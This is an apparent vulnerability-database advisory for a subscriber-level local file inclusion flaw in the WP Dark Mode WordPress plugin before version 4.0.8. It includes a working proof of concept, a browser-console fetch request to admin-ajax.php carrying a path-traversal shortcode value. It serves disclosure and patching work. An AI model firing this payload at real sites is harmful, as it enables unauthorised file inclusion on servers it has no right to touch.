Lucene search

K
wpvulndbAlex SanfordWPVDB-ID:8EB431A6-59A5-4CEE-84E0-156C0B31CFC4
HistoryMar 06, 2023 - 12:00 a.m.

WP Dark Mode < 4.0.8 - Subscriber+ Local File Inclusion

2023-03-0600:00:00
Alex Sanford
wpscan.com
11
wordpress
dark mode
local file inclusion

0.001 Low

EPSS

Percentile

24.3%

The plugin does not properly sanitize the style parameter in shortcodes before using it to load a PHP template. This leads to Local File Inclusion on servers where non-existent directories may be traversed, or when chained with another vulnerability allowing arbitrary directory creation.

PoC

As a subscriber, run the following JS code from the browser console and see that it includes the index.php of the root of the blog: fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=parse-media-shortcode&amp;shortcode;=[wp-dark-mode style='1/../../../../../index']", "credentials": "include" }).then(response =&gt; response.text()) .then(data =&gt; console.log(data)); Note: By default this will only work on servers where the directory to traverse does not need to exist (for example: Windows-based servers). For other servers, this will require the /wp-content-plugins/wp-dark-mode/templates/btn-1/ directory to exist (for example: by chaining another vulnerability to create the directory).

CPENameOperatorVersion
wp-dark-modelt4.0.8

0.001 Low

EPSS

Percentile

24.3%

Related for WPVDB-ID:8EB431A6-59A5-4CEE-84E0-156C0B31CFC4